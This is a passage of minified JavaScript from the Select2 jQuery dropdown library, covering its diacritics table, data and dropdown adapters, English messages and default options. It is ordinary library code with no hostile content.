"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),u.define("select2/data/base",["../utils"],function(o){function n(e,t){n.__super__.constructor.call(this)}return o.Extend(n,o.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n="";return n+=null!=e?e.id:o.generateChars(4),n+="-result-",n+=o.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+o.generateChars(4),n},n}),u.define("select2/data/select",["./base","../utils","jquery"],function(e,t,r){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return t.Extend(n,e),n.prototype.current=function(e){var t=[],n=this;this.$element.find(":selected").each(function(){var e=r(this),e=n.item(e);t.push(e)}),e(t)},n.prototype.select=function(i){var e,s=this;if(i.selected=!0,r(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("change");this.$element.prop("multiple")?this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var o=i[n].id;-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")}):(e=i.id,this.$element.val(e),this.$element.trigger("change"))},n.prototype.unselect=function(i){var s=this;if(this.$element.prop("multiple")){if(i.selected=!1,r(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var o=e[n].id;o!==i.id&&-1===r.inArray(o,t)&&t.push(o)}s.$element.val(t),s.$element.trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){r.removeData(this,"data")})},n.prototype.query=function(t,e){var n=[],o=this;this.$element.children().each(function(){var e=r(this);(e.is("option")||e.is("optgroup"))&&(e=o.item(e),null!==(e=o.matches(t,e))&&n.push(e))}),e({results:n})},n.prototype.addOptions=function(e){t.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=r(t),e=this._normalizeItem(e);return e.element=t,r.data(t,"data",e),n},n.prototype.item=function(e){var t={};if(null!=(t=r.data(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),o=[],i=0;i<n.length;i++){var s=r(n[i]),s=this.item(s);o.push(s)}t.children=o}return(t=this._normalizeItem(t)).element=e[0],r.data(e[0],"data",t),t},n.prototype._normalizeItem=function(e){r.isPlainObject(e)||(e={id:e,text:e});return null!=(e=r.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&(e._resultId=this.generateResultId(this.container,e)),r.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),u.define("select2/data/array",["./select","../utils","jquery"],function(e,c,u){function o(e,t){var n=t.get("data")||[];o.__super__.constructor.call(this,e,t),this.addOptions(this.convertToOptions(n))}return c.Extend(o,e),o.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),o.__super__.select.call(this,n)},o.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),o=n.map(function(){return t.item(u(this)).id}).get(),i=[];for(var s=0;s<e.length;s++){var r,a,l=this._normalizeItem(e[s]);0<=u.inArray(l.id,o)?(r=n.filter(function(e){return function(){return u(this).val()==e.id}}(l)),a=this.item(r),a=u.extend(!0,{},l,a),a=this.option(a),r.replaceWith(a)):(a=this.option(l),l.children&&(l=this.convertToOptions(l.children),c.appendMany(a,l)),i.push(a))}return i},o}),u.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,s){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return s.extend({},e,{q:e.term})},transport:function(e,t,n){e=s.ajax(e);return e.then(t),e.fail(n),e}};return s.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(t,n){var o=this;null!=this._request&&(s.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var i=s.extend({type:"GET"},this.ajaxOptions);function e(){var e=i.transport(i,function(e){e=o.processResults(e,t);o.options.get("debug")&&window.console&&console.error&&(e&&e.results&&s.isArray(e.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),n(e),o.container.focusOnActiveElement()},function(){e.status&&"0"===e.status||o.trigger("results:message",{message:"errorLoading"})});o._request=e}"function"==typeof i.url&&(i.url=i.url.call(this.$element,t)),"function"==typeof i.data&&(i.data=i.data.call(this.$element,t)),this.ajaxOptions.delay&&null!=t.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),u.define("select2/data/tags",["jquery"],function(a){function e(e,t,n){var o=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);i=n.get("insertTag");if(void 0!==i&&(this.insertTag=i),e.call(this,t,n),a.isArray(o))for(var s=0;s<o.length;s++){var r=o[s],r=this._normalizeItem(r),r=this.option(r);this.$element.append(r)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var o=t.results,i=0;i<o.length;i++){var s=o[i],r=null!=s.children&&!e({results:s.children},!0);if((s.text||"").toUpperCase()===(c.term||"").toUpperCase()||r)return!n&&(t.data=o,void u(t))}if(n)return!0;var a,l=d.createTag(c);null!=l&&((a=d.option(l)).attr("data-select2-tag",!0),d.addOptions([a]),d.insertTag(o,l)),t.results=o,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){t=a.trim(t.term);return""===t?null:{id:t,text:t}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},e}),u.define("select2/data/tokenizer",["jquery"],function(c){function e(e,t,n){var o=n.get("tokenizer");void 0!==o&&(this.tokenizer=o),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var o=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t,n=o._normalizeItem(e);o.$element.find("option").filter(function(){return c(this).val()===n.id}).length||((t=o.option(n)).attr("data-select2-tag",!0),o._removeOldTags(),o.addOptions([t])),t=n,o.trigger("select",{data:t})});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.focus()),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,o){for(var i=n.get("tokenSeparators")||[],s=t.term,r=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};r<s.length;){var l=s[r];-1!==c.inArray(l,i)?(l=s.substr(0,r),null!=(l=a(c.extend({},t,{term:l})))?(o(l),s=s.substr(r+1)||"",r=0):r++):r++}return{term:s}},e}),u.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),u.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.query=function(t,n,o){var i=this;this.current(function(e){e=null!=e?e.length:0;0<i.maximumSelectionLength&&e>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):t.call(i,n,o)})},e}),u.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),u.define("select2/dropdown/search",["jquery","../utils"],function(s,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),e=s('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" /></span>');return this.$searchContainer=e,this.$search=e.find("input"),t.prepend(e),t},t.prototype.bind=function(e,t,n){var o=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){s(this).off("keyup")}),this.$search.on("keyup input",function(e){o.handleSearch(e)}),t.on("open",function(){o.$search.attr("tabindex",0),o.$search.attr("aria-owns",i),o.$search.focus(),window.setTimeout(function(){o.$search.focus()},0)}),t.on("close",function(){o.$search.attr("tabindex",-1),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.val("")}),t.on("focus",function(){t.isOpen()||o.$search.focus()}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(o.showSearch(e)?o.$searchContainer.removeClass("select2-search--hide"):o.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)})},t.prototype.handleSearch=function(e){var t;this._keyUpPrevented||(t=this.$search.val(),this.trigger("query",{term:t})),this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),u.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,o){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,o)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),o=t.length-1;0<=o;o--){var i=t[o];this.placeholder.id===i.id&&n.splice(o,1)}return n},e}),u.define("select2/dropdown/infiniteScroll",["jquery"],function(i){function e(e,t,n,o){this.lastParams={},e.call(this,t,n,o),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&this.$results.append(this.$loadingMore)},e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("query",function(e){o.lastParams=e,o.loading=!0}),t.on("query:append",function(e){o.lastParams=e,o.loading=!0}),this.$results.on("scroll",function(){var e=i.contains(document.documentElement,o.$loadingMore[0]);!o.loading&&e&&(e=o.$results.offset().top+o.$results.outerHeight(!1),o.$loadingMore.offset().top+o.$loadingMore.outerHeight(!1)<=e+50&&o.loadMore())})},e.prototype.loadMore=function(){this.loading=!0;var e=i.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=i('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),u.define("select2/dropdown/attachBody",["jquery","../utils"],function(c,r){function e(e,t,n){this.$dropdownParent=n.get("dropdownParent")||c(document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var o=this,i=!1;e.call(this,t,n),t.on("open",function(){o._showDropdown(),o._attachPositioningHandler(t),i||(i=!0,t.on("results:all",function(){o._positionDropdown(),o._resizeDropdown()}),t.on("results:append",function(){o._positionDropdown(),o._resizeDropdown()}))}),t.on("close",function(){o._hideDropdown(),o._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=c("<span></span>"),e=e.call(this);return t.append(e),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._attachPositioningHandler=function(e,t){var n=this,o="scroll.select2."+t.id,i="resize.select2."+t.id,s="orientationchange.select2."+t.id,t=this.$container.parents().filter(r.hasScroll);t.each(function(){c(this).data("select2-scroll-position",{x:c(this).scrollLeft(),y:c(this).scrollTop()})}),t.on(o,function(e){var t=c(this).data("select2-scroll-position");c(this).scrollTop(t.y)}),c(window).on(o+" "+i+" "+s,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,o="resize.select2."+t.id,t="orientationchange.select2."+t.id;this.$container.parents().filter(r.hasScroll).off(n),c(window).off(n+" "+o+" "+t)},e.prototype._positionDropdown=function(){var e=c(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),o=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var s={height:this.$container.outerHeight(!1)};s.top=i.top,s.bottom=i.top+s.height;var r=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),e=a<i.top-r,a=l>i.bottom+r,l={left:i.left,top:s.bottom},i=this.$dropdownParent;"static"===i.css("position")&&(i=i.offsetParent());i=i.offset();l.top-=i.top,l.left-=i.left,t||n||(o="below"),a||!e||t?!e&&a&&t&&(o="below"):o="above",("above"==o||t&&"below"!==o)&&(l.top=s.top-i.top-r),null!=o&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+o),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+o)),this.$dropdownContainer.css(l)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),u.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,o){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,o)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,o=0;o<t.length;o++){var i=t[o];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),u.define("select2/dropdown/selectOnClose",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("close",function(e){o._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}n=this.getHighlightedResults();n.length<1||(null!=(n=n.data("data")).element&&n.element.selected||null==n.element&&n.selected||this.trigger("select",{data:n}))},e}),u.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("select",function(e){o._selectTriggered(e)}),t.on("unselect",function(e){o._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&n.ctrlKey||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),u.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,e="Please delete "+t+" character";return 1!=t&&(e+="s"),e},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),u.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(u,d,p,h,f,g,m,y,v,_,$,t,w,b,A,x,E,O,C,S,T,D,q,L,j,P,k,I,e){function n(){this.reset()}return n.prototype.apply=function(t){var e,n;if(null==(t=u.extend(!0,{},this.defaults,t)).dataAdapter&&(null!=t.ajax?t.dataAdapter=A:null!=t.data?t.dataAdapter=b:t.dataAdapter=w,0<t.minimumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,O)),0<t.maximumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,C)),0<t.maximumSelectionLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,S)),t.tags&&(t.dataAdapter=_.Decorate(t.dataAdapter,x)),null==t.tokenSeparators&&null==t.tokenizer||(t.dataAdapter=_.Decorate(t.dataAdapter,E)),null!=t.query&&(e=d(t.amdBase+"compat/query"),t.dataAdapter=_.Decorate(t.dataAdapter,e)),null!=t.initSelection&&(e=d(t.amdBase+"compat/initSelection"),t.dataAdapter=_.Decorate(t.dataAdapter,e))),null==t.resultsAdapter&&(t.resultsAdapter=p,null!=t.ajax&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,L)),null!=t.placeholder&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,q)),t.selectOnClose&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,k))),null==t.dropdownAdapter&&(t.multiple?t.dropdownAdapter=T:(n=_.Decorate(T,D),t.dropdownAdapter=n),0!==t.minimumResultsForSearch&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,P)),t.closeOnSelect&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,I)),null==t.dropdownCssClass&&null==t.dropdownCss&&null==t.adaptDropdownCssClass||(n=d(t.amdBase+"compat/dropdownCss"),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,n)),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,j)),null==t.selectionAdapter&&(t.multiple?t.selectionAdapter=f:t.selectionAdapter=h,null!=t.placeholder&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,g)),t.allowClear&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,m)),t.multiple&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,y)),null==t.containerCssClass&&null==t.containerCss&&null==t.adaptContainerCssClass||(l=d(t.amdBase+"compat/containerCss"),t.selectionAdapter=_.Decorate(t.selectionAdapter,l)),t.selectionAdapter=_.Decorate(t.selectionAdapter,v)),"string"==typeof t.language&&(0<t.language.indexOf("-")?(c=t.language.split("-")[0],t.language=[t.language,c]):t.language=[t.language]),u.isArray(t.language)){var o=new $;t.language.push("en");for(var i=t.language,s=0;s<i.length;s++){var r=i[s],a={};try{a=$.loadPath(r)}catch(e){try{r=this.defaults.amdLanguageBase+r,a=$.loadPath(r)}catch(e){t.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+r+'" could not be automatically loaded. A fallback will be used instead.');continue}}o.extend(a)}t.translations=o}else{var l=$.loadPath(this.defaults.amdLanguageBase+"en"),c=new $(t.language);c.extend(l),t.translations=c}return t},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:_.escapeMarkup,language:e,matcher:function e(t,n){if(""===u.trim(t.term))return n;if(n.children&&0<n.children.length){for(var o=u.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&o.children.splice(i,1);return 0<o.children.length?o:e(t,o)}var s=a(n.text).toUpperCase(),r=a(t.term).toUpperCase();return-1<s.indexOf(r)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.set=function(e,t){var n={};n[u.camelCase(e)]=t;n=_._convertData(n);u.extend(this.defaults,n)},new n}),u.define("select2/options",["require","jquery","./defaults","./utils"],function(n,s,o,r){function e(e,t){this.options=e,null!=t&&this.fromElement(t),this.options=o.apply(this.options),t&&t.is("input")&&(t=n(this.get("amdBase")+"compat/inputData"),this.options.dataAdapter=r.Decorate(this.options.dataAdapter,t))}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.language&&(e.prop("lang")?this.options.language=e.prop("lang").toLowerCase():e.closest("[lang]").prop("lang")&&(this.options.language=e.closest("[lang]").prop("lang"))),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),e.data("select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of 